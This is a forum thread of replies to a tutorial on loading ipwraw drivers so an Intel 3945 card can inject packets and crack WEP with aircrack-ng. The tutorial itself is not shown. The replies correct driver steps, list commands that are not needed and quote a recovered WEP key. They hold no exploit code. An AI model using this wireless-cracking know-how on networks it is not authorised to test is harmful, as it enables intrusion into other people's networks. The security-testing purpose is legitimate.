secure_it, I'm a little unclear as to why you wrote this. Its not that we as a community don't appreciate the input however there is a lot of unnecessary steps in your tutorial.

Backtrack 3 beta already has the drivers for the ipw3495. The drivers are located in the /usr/src/drivers folder. The illwifi drivers are for connecting and surfing the net and the ipwraw drivers are for injection. There was a small issue with the kde menu links which I fixed the first day and posted to the wiki. The menu fixes will load and unload the drivers perfectly.

Another important fact about these drivers you forgot to mention is that you must always UNLOAD one before loading the other one.

I'm not picking on you at all and I appreciate the work you must have spent on this I'm just pointing out that most of this stuff is included in backtrack 3 beta already and is ready to go.

So if any one is using this tutorial they can make the menu fixes and then start at the airodump-ng part.

I will however move this to the tutorial section.

Also (deja vu) I just mentioned to someone else in another post about this issue:

ipw3945.sh and ipw3945i.sh

[secure_it]

thanks for your valuable opinions pureh@te.my intention was just to clear the doubts about "can intel 3945 inject packets" that's it.because I found many users were wandering about aircrack-ng freezing while using intel 3945 drivers or something like confusion about intel 3945 able to inject or monitor with airodump.So I thought to make things clear and collected at single place to prove intel 3945 can inject using ipwraw drivers and I have used modprobe to load/unload drivers.anyways thanks for all what you have mention regarding fixes.I am glad to say that I am contributing something to this forum and to take help and giving help to newbies there.thanks once again to all senior member outta there.

hey Good lol this will help few people and 1 more thing ,i think that is 64 bit WEP
key not 128 what u got KEY FOUND! [ 98:45:00:88:57 ]

secure_it
you told me to come here check your post, so here are my comments:

There is a new ipwraw-ng version available... You should have referred to it instead of 2.0.0
The newest file in ASPj's page is now ipwraw-ng-2.3.4-04022008.tar.bz2
The best would be to go to /usr/src/drivers and put the new version there, on top of the old one.

Some unnecessary steps:

• bt ~ # depmod -ae (the driver's "make install" already does it)
• remove old aircrack-ng 0.9 or whatever version you have (I think the executable files have the same name as old ones, so you just need to install the new version over the old)
• bt aircrack-ng #gmake SQLITE=true (is this really necessary?...)
• Restart the system (is it necessary? if you're using a live CD this will make you lose what you've done until now...)

All those iwconfig aren't needed also, but it's nice to have them there. It provides useful info to the target viewers of your post so they can know if they're doing things right at each step
And if they do the things right, they'll be happy and won't come here to make questions
Nice to see a complete guide like this, showing that the card works, and how.

very nice, secure_it... defenitly one of the best, most complete and understandable tutorials i've seen around.

Thanks.

[secure_it]

thanks dude.its all because of tutorials/posts around in remote exploit,wifiway,aircrack-ng forums and google & specially the tutorials by Xploitz

[sardinemaster]

yeah, but you've put it into one comprehensive tutorial. by the way I didnt quite understand if all the commands are correct or not? so in theory if I did that all, I should be able to inject?

(purehate said something about unmounting, did you put those in?)

Thanks.

[secure_it]

things will work absolutely fine if you follow this tutorial then you will be able to inject packet on your ap and can check how much insecure is WEP to use today.well I have done all things correctly and by mounting and dismounting drivers is modprobing them.check that.thanks for watching and please let me know things are working fine at your end too.if any conflict post it here and if success then please let me know.
